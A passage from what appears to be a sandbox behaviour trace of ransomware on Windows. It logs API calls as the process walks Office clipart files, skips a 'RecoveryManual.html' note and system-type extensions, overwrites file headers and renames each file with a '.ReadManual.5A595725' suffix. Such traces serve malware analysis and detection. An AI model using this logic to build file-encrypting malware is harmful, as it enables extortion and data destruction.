dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x36aa) returned 0x2f0000 [0274.244] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.244] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39491304459) returned 1 [0274.244] CloseHandle (hObject=0x184) returned 1 [0274.244] SetSecurityInfo () returned 0x57 [0274.244] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.245] CloseHandle (hObject=0x194) returned 1 [0274.245] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc775b700, ftCreationTime.dwHighDateTime=0x1bd4af7, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc775b700, ftLastWriteTime.dwHighDateTime=0x1bd4af7, nFileSizeHigh=0x0, nFileSizeLow=0x32f6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00018_.WMF", cAlternateFileName="")) returned 1 [0274.245] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00018_.WMF" | out: lpString1="SO00018_.WMF") returned="SO00018_.WMF" [0274.245] lstrcmpiW (lpString1="SO00018_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.245] StrStrIW (lpFirst="SO00018_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.245] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.245] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.245] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" [0274.245] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ReadManual.5A595725" [0274.245] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF.ReadManual.5A595725") returned 87 [0274.245] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39491400694) returned 1 [0274.245] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf")) returned 0x20 [0274.246] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00018_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00018_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.246] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13046) returned 1 [0274.246] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32f6, lpName=0x0) returned 0x184 [0274.246] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.247] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.247] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.248] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.249] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32f6) returned 0x2f0000 [0274.249] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.249] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39491765630) returned 1 [0274.249] CloseHandle (hObject=0x184) returned 1 [0274.249] SetSecurityInfo () returned 0x57 [0274.249] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.249] CloseHandle (hObject=0x194) returned 1 [0274.249] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419f3f00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x419f3f00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x7a80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00152_.WMF", cAlternateFileName="")) returned 1 [0274.249] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00152_.WMF" | out: lpString1="SO00152_.WMF") returned="SO00152_.WMF" [0274.249] lstrcmpiW (lpString1="SO00152_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.249] StrStrIW (lpFirst="SO00152_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.249] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.249] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.250] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.250] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" [0274.250] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ReadManual.5A595725" [0274.250] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF.ReadManual.5A595725") returned 87 [0274.250] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39491860288) returned 1 [0274.250] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf")) returned 0x20 [0274.250] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00152_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00152_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.250] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31360) returned 1 [0274.250] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a80, lpName=0x0) returned 0x184 [0274.250] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.251] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.251] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.253] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.253] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a80) returned 0x2f0000 [0274.255] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.255] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39492420427) returned 1 [0274.255] CloseHandle (hObject=0x184) returned 1 [0274.256] SetSecurityInfo () returned 0x57 [0274.256] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.256] CloseHandle (hObject=0x194) returned 1 [0274.256] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35bab100, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35bab100, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x4754, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00157_.WMF", cAlternateFileName="")) returned 1 [0274.256] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00157_.WMF" | out: lpString1="SO00157_.WMF") returned="SO00157_.WMF" [0274.256] lstrcmpiW (lpString1="SO00157_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.256] StrStrIW (lpFirst="SO00157_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.256] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.256] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.256] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" [0274.256] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ReadManual.5A595725" [0274.256] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF.ReadManual.5A595725") returned 87 [0274.256] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39492513659) returned 1 [0274.256] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf")) returned 0x20 [0274.258] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00157_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00157_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.259] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18260) returned 1 [0274.259] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4754, lpName=0x0) returned 0x184 [0274.259] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.260] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.260] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.262] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.262] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4754) returned 0x2f0000 [0274.262] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.262] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39493090751) returned 1 [0274.262] CloseHandle (hObject=0x184) returned 1 [0274.262] SetSecurityInfo () returned 0x57 [0274.262] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.262] CloseHandle (hObject=0x194) returned 1 [0274.262] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e388d00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e388d00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00159_.WMF", cAlternateFileName="")) returned 1 [0274.262] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00159_.WMF" | out: lpString1="SO00159_.WMF") returned="SO00159_.WMF" [0274.263] lstrcmpiW (lpString1="SO00159_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.263] StrStrIW (lpFirst="SO00159_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.263] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.263] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.263] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" [0274.263] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ReadManual.5A595725" [0274.263] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF.ReadManual.5A595725") returned 87 [0274.263] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39493180997) returned 1 [0274.263] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf")) returned 0x20 [0274.264] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00159_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00159_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.264] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8230) returned 1 [0274.264] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2026, lpName=0x0) returned 0x184 [0274.265] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.265] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.265] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.267] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.267] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2026) returned 0x2f0000 [0274.267] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.267] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39493617598) returned 1 [0274.267] CloseHandle (hObject=0x184) returned 1 [0274.267] SetSecurityInfo () returned 0x57 [0274.268] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.268] CloseHandle (hObject=0x194) returned 1 [0274.268] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3815d700, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3815d700, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x35b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00166_.WMF", cAlternateFileName="")) returned 1 [0274.268] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00166_.WMF" | out: lpString1="SO00166_.WMF") returned="SO00166_.WMF" [0274.268] lstrcmpiW (lpString1="SO00166_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.268] StrStrIW (lpFirst="SO00166_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.268] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.268] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.268] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" [0274.268] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ReadManual.5A595725" [0274.268] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF.ReadManual.5A595725") returned 87 [0274.268] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39493706970) returned 1 [0274.268] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf")) returned 0x20 [0274.269] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00166_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.269] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=13746) returned 1 [0274.269] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x35b2, lpName=0x0) returned 0x184 [0274.269] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.270] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.270] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.272] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.272] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x35b2) returned 0x2f0000 [0274.272] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.272] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39494098700) returned 1 [0274.272] CloseHandle (hObject=0x184) returned 1 [0274.272] SetSecurityInfo () returned 0x57 [0274.272] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.272] CloseHandle (hObject=0x194) returned 1 [0274.273] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35b37d00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x35b37d00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00168_.WMF", cAlternateFileName="")) returned 1 [0274.273] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00168_.WMF" | out: lpString1="SO00168_.WMF") returned="SO00168_.WMF" [0274.273] lstrcmpiW (lpString1="SO00168_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.273] StrStrIW (lpFirst="SO00168_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.273] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.273] 